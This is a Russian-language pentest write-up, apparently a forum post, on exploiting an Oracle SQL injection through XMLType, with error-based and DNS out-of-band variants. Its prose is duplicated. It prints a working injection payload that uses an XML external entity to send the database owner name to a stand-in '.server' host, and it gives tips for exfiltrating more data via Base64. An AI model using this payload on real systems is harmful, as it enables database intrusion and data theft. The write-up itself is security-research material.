(с) автор @Ramazan
Из всех SQL инъекций, которые мне попадались реже всего сталкивался c ORACLE,
если не считать прям каких-то редких и специфических.
И недавно на пентесте обнаружил инъекцию в ORACLE.
При быстром поиске возникли подозрения на XXE, но эксплуатация к сожалению, оказалась невозможна, версия уже запатчена, но вектор интересный, подробнее про этот вектор можно прочитать тут:
Но саму SQLi полноценно эксплуатировать получилось все через тот же XMLType.
В моем случае это оказался Error-Based и не нужно было думать о передаче данных в DNS записи.
Пайлоад в итоге выглядит так, с выводом, как на скрине.
Но, в случае, если у нас слепая инъекция и у нас есть возможность достучаться до DNS,
получается DNS – Based OOB SQLi. С помощью такого запроса, как выше можно отправить данные, но если нужно много данных из БД отправить, то стандартным запросом не получится, так как в DNS записях не могут быть пробелы,
поэтому пробелы нужно заменить, например, с помощью функции Replace() еще и в Base64 выводить.
Удобная штука при эксплуатации: https://livesql.oracle.com
Из всех SQL инъекций, которые мне попадались реже всего сталкивался c ORACLE,
если не считать прям каких-то редких и специфических.
И недавно на пентесте обнаружил инъекцию в ORACLE.
При быстром поиске возникли подозрения на XXE, но эксплуатация к сожалению, оказалась невозможна, версия уже запатчена, но вектор интересный, подробнее про этот вектор можно прочитать тут:
Но саму SQLi полноценно эксплуатировать получилось все через тот же XMLType.
В моем случае это оказался Error-Based и не нужно было думать о передаче данных в DNS записи.
Пайлоад в итоге выглядит так, с выводом, как на скрине.
Код:
'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % jiest SYSTEM "http://'||(select owner from (select owner, rownum as rn from (select DISTINCT owner from all_tables order by owner asc)) where rn=1)||'.server/">%jiest;]>'),'/l') from dual)||'
получается DNS – Based OOB SQLi. С помощью такого запроса, как выше можно отправить данные, но если нужно много данных из БД отправить, то стандартным запросом не получится, так как в DNS записях не могут быть пробелы,
поэтому пробелы нужно заменить, например, с помощью функции Replace() еще и в Base64 выводить.
Удобная штука при эксплуатации: https://livesql.oracle.com